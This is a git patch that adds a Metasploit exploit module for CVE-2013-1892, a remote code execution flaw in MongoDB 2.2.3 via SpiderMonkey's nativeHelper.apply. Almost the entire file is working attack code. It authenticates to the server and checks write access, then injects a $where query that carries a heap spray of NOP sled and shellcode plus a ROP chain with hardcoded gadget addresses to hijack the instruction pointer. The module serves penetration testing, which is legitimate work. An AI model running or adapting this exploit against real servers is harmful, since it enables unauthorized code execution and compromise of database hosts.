From dee5835eab9d252b670ce1c203db2329c7ba55cb Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 28 Mar 2013 03:10:38 +0100 Subject: [PATCH] Create mongod_native_helper.rb metasploit exploit module for CVE-2013-1892 --- .../linux/misc/mongod_native_helper.rb | 299 ++++++++++++++++++ 1 file changed, 299 insertions(+) create mode 100644 modules/exploits/linux/misc/mongod_native_helper.rb diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb new file mode 100644 index 0000000000..55688773fa --- /dev/null +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -0,0 +1,299 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::Tcp + + def initialize(info={}) + super(update_info(info, + 'Name' => 'MongoDB nativeHelper.apply Instruction Pointer Control', + 'Description' => %q{ + This module exploit a feature in spiderMonkey to control Instruction Pointer. + }, + 'Author' => + [ + 'agix @agixid' + ], + 'References' => + [ + [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ], + [ 'CVE', '2013-1892' ], + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'mongod 2.2.3 - 32bits', { } ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(27017), + Opt::RHOST(), + OptString.new('DB', [ false, "Database to use", ""]), + OptString.new('Collection', [ false, "Collection to use (it must to exist). Better to let empty", ""]), + OptString.new('Username', [ false, "Login to use", ""]), + OptString.new('Password', [ false, "Password to use", ""]) + ], self.class) + end + + def exploit + begin + connect + if require_auth? + print_status("Mongo server #{datastore['RHOST']} use authentication...") + if !datastore['Username'] || !datastore['Password'] + disconnect + return + end + if do_login==0 + disconnect + return + end + else + print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") + end + + if datastore['Collection'] && datastore['Collection'] != "" + collection = datastore['Collection'] + else + collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + if read_only?(collection) + print_error("#{datastore['Username']} have readOnly access, please provide an existent collection") + disconnect + return + else + print_good("New document created in collection #{collection}") + end + end + print_status("Let's exploit, heap spray could take some time...") + + shellcode = Rex::Text.to_unescape(payload.encoded) + + mmap = [ + 0x0816f768, + 0x0c0c0c0c, + 0x0c0c0000, + 0x00001000, + 0x00000007, + 0x00000031, + 0xffffffff, + 0x00000000, + ].pack("V*") + + ret = [0x08055a70].pack("V*") + + gadget1 = "0x836e204" #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] + + #THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY + gadget2 = "\\x58\\x71\\x45\\x08" #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP + gadget3 = "\\x26\\x18\\x35\\x08" #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 + gadget4 = "\\x6c\\x5a\\x05\\x08" #pop eax / ret + gadget5 = "\\x58\\x71\\x45\\x08" #xchg esp,eax + + shellcode_var="a"+Rex::Text.rand_text_hex(4) + sizechunk_var="b"+Rex::Text.rand_text_hex(4) + chunk_var="c"+Rex::Text.rand_text_hex(4) + i_var="d"+Rex::Text.rand_text_hex(4) + array_var="e"+Rex::Text.rand_text_hex(4) + + ropchain_var="f"+Rex::Text.rand_text_hex(4) + chunk2_var="g"+Rex::Text.rand_text_hex(4) + array2_var="h"+Rex::Text.rand_text_hex(4) + + #NOPSLED+SHELLCODE HEAPSPRAY + payloadJS = shellcode_var+'=unescape("'+shellcode+'");' + payloadJS << sizechunk_var+'=0x1000;' + payloadJS << chunk_var+'="";' + payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' + payloadJS << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' + payloadJS << array_var+'=new Array();' + payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' + + #RETCHAIN+ROPCHAIN HEAPSPRAY + payloadJS << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' + payloadJS << chunk2_var+'="";' + payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' + payloadJS << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' + payloadJS << array2_var+'=new Array();' + payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' + + #Trigger and first ROPCHAIN + payloadJS << 'nativeHelper.apply({"x" : '+gadget1+'}, ' + payloadJS << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' + + request_id = Rex::Text.rand_text(4) + + packet = request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" #flags + packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) + packet << "\x00\x00\x00\x00" #numberToSkip (0) + packet << "\x01\x00\x00\x00" #numberToReturn (1) + + where = "\x02\x24\x77\x68\x65\x72\x65\x00" + where << [payloadJS.length+4].pack("L") + where << payloadJS+"\x00" + + where.insert(0, [where.length + 4].pack("L")) + + packet += where + packet.insert(0, [packet.length + 4].pack("L")) + + sock.put(packet) + + sleep(10) + disconnect + rescue ::Exception => e + print_error "Unable to connect: #{e.to_s}" + return + end + end + + def require_auth? + request_id = Rex::Text.rand_text(4) + packet = "\x3f\x00\x00\x00" #messageLength (63) + packet << request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" #flags + packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) + packet << "\x00\x00\x00\x00" #numberToSkip (0) + packet << "\x01\x00\x00\x00" #numberToReturn (1) + #query ({"listDatabases"=>1}) + packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" + + sock.put(packet) + response = sock.recv(1024) + + have_auth_error?(response) + end + + def read_only?(collection) + request_id = Rex::Text.rand_text(4) + _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" + key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" + value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" + + insert = _id+key+[value.length].pack("L")+value+"\x00" + + packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength + packet << request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) + packet << "\x00\x00\x00\x00" #flags + packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) + packet << [insert.length+4].pack("L") + packet << insert + + sock.put(packet) + + request_id = Rex::Text.rand_text(4) + + packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) + packet << request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd4\x07\x00\x00" #opCode (2004 Query) + packet << "\x00\x00\x00\x00" #flags + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) + packet << "\x00\x00\x00\x00" #numberToSkip (0) + packet << "\xff\xff\xff\xff" #numberToReturn (1) + packet << "\x1b\x00\x00\x00" + packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" + + sock.put(packet) + + response = sock.recv(1024) + have_auth_error?(response) + end + + def do_login + print_status("Trying #{datastore['Username']}/#{datastore['Password']} on #{datastore['DB']} database") + nonce = get_nonce + status = auth(nonce) + return status + end + + def auth(nonce) + request_id = Rex::Text.rand_text(4) + packet = request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" #flags + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) + packet << "\x00\x00\x00\x00" #numberToSkip (0) + packet << "\xff\xff\xff\xff" #numberToReturn (1) + + #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} + document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" + document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" + document << [datastore['Username'].length + 1].pack("L") # +1 due null byte termination + document << datastore['Username'] + "\x00" + document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" + document << nonce + "\x00" + document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" + document << Rex::Text.md5(nonce + datastore['Username'] + Rex::Text.md5(datastore['Username'] + ":mongo:" + datastore['Password'])) + "\x00" + document << "\x00" + #Calculate document length + document.insert(0, [document.length + 4].pack("L")) + + packet += document + + #Calculate messageLength + packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength + sock.put(packet) + response = sock.recv(1024) + if have_auth_error?(response) + print_error("Bad login or DB") + return 0 + else + print_good("Successful login on DB #{datastore['db']}") + return 1 + end + + + end + + def get_nonce + request_id = Rex::Text.rand_text(4) + packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) + packet << request_id #requestID + packet << "\xff\xff\xff\xff" #responseTo + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" #flags + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) + packet << "\x00\x00\x00\x00" #numberToSkip (0) + packet << "\x01\x00\x00\x00" #numberToReturn (1) + #query {"getnonce"=>1.0} + packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" + + sock.put(packet) + response = sock.recv(1024) + documents = response[36..1024] + #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} + nonce = documents[15..30] + end + + def have_auth_error?(response) + #Response header 36 bytes long + documents = response[36..1024] + #{"errmsg"=>"auth fails", "ok"=>0.0} + #{"errmsg"=>"need to login", "ok"=>0.0} + if documents.include?('errmsg') || documents.include?('unauthorized') + return true + else + return false + end + end +end